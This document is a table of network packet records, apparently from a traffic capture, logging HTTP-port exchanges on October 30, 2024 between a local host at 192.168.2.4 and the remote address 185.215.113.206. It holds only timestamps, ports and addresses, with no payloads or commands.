Oct 30, 2024 02:27:37.202711105 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.202713966 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.202727079 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.202738047 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.202744007 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.202753067 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.202778101 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.202955961 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.202965975 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.202975988 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.202995062 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.203007936 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.203027010 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.203073025 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.203083992 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.203092098 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.203102112 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.203113079 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.203114033 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.203125000 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.203129053 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.203131914 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.203144073 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.203155041 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.203155994 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.203171015 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.203177929 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.203181982 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.203195095 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.203203917 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.203222036 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.203247070 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.203687906 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.203699112 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.203710079 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.203721046 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.203731060 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.203737020 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.203739882 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.203751087 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.203756094 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.203762054 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.203772068 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.203782082 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.203783035 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.203794956 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.203803062 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.203808069 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.203830004 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.203849077 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.204056978 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.204066992 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.204097033 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.204108953 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.204195023 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.204205990 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.204216003 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.204232931 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.204232931 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.204241991 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.204248905 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.204260111 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.204262018 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.204272032 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.204279900 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.204282999 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.204293013 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.204296112 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.204313993 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.204319954 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.204324007 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.204334021 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.204339027 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.204346895 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.204358101 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.204360962 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.204384089 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.204397917 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.204746962 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.204781055 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.243283033 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.243330002 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.243340015 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.243366957 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.243397951 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.243472099 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.243483067 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.243491888 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.243503094 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.243513107 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.243653059 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.243653059 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.243653059 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.283570051 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.283597946 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.283607960 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.283765078 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.283765078 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.317287922 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.317306042 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.317316055 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.317430019 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.317440033 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.317445040 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.317491055 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.317497015 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.317511082 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.317601919 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.317631960 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.317642927 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.317652941 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.317662001 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.317677975 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.317702055 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.317770958 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.317783117 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.317792892 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.317806959 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.317816973 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.317828894 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.317858934 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.317919016 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.317929029 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.317938089 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.317944050 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.317965984 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.318000078 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.318140984 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.318151951 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.318161964 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.318171978 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.318188906 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.318198919 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.318209887 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.318211079 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.318226099 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.318233967 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.318252087 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.318270922 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.318454027 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.318463087 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.318471909 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.318483114 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.318492889 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.318500042 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.318511963 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.318542004 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.318658113 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.318669081 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.318677902 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.318689108 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.318698883 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.318703890 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.318711042 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.318721056 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.318732023 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.318753958 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.318939924 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.318952084 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.318962097 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.318972111 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.318983078 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.318985939 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.319000006 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.319011927 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.319015980 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.319020987 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.319031954 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.319042921 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.319044113 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.319053888 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.319066048 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.319072962 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.319083929 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.319092989 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.319113016 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.319139957 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.319446087 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.319483995 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.319591999 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.319602966 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.319612980 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.319622993 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.319633961 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.319639921 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.319643974 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.319655895 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.319665909 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.319667101 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.319685936 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.319701910 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.319847107 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.319891930 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.319926977 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.319938898 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.319947958 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.319958925 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.319967985 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.319973946 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.319979906 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.319988966 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.319992065 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.320004940 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.320034027 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.320213079 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.320223093 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.320233107 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.320244074 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.320254087 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.320264101 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.320266008 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.320275068 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.320283890 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.320303917 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.320306063 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.320317984 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.320319891 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.320331097 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.320342064 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.320349932 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.320350885 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.320355892 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.320362091 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.320370913 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.320382118 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.320382118 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.320394039 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.320405960 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.320409060 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.320429087 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.320444107 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.321023941 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.321033955 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.321043015 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.321048975 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.321058989 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.321069002 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.321077108 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.321079016 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.321085930 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.321091890 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.321103096 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.321114063 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.321118116 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.321125984 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.321131945 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.321136951 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.321147919 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.321152925 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.321160078 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.321170092 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.321177006 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.321180105 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.321192980 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.321202040 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.321203947 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.321221113 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.321244001 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.321611881 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.321623087 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.321631908 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.321640968 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.321652889 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.321656942 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.321677923 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.321687937 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.321885109 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.321893930 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.321909904 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.321921110 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.321929932 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.321935892 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.321940899 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.321953058 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.321958065 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.321964025 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.321974993 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.321980000 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.321985960 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.321996927 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.321999073 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.322007895 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.322017908 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.322019100 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.322030067 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.322040081 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.322048903 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.322048903 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.322061062 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.322062016 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.322073936 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.322082996 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.322098017 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.322123051 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.322506905 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.322519064 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.322529078 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.322550058 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.322568893 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.360764980 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.360801935 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.360810995 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.360884905 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.360987902 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.361018896 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.361037016 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.361047029 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.361062050 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.361064911 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.361103058 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.361179113 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.401199102 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.401227951 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.401293039 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.434992075 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.435004950 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.435019970 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.435053110 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.435065031 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.435075045 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.435086012 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.435096979 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.435111046 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.435170889 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.435210943 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.435211897 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.435252905 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.435276985 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.435322046 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.435343981 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.435355902 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.435385942 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.435386896 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.435398102 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.435405970 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.435419083 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.435440063 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:37.435587883 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.435597897 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:37.435609102 CET	80	49760	185.215.113.206	192.168.2.4
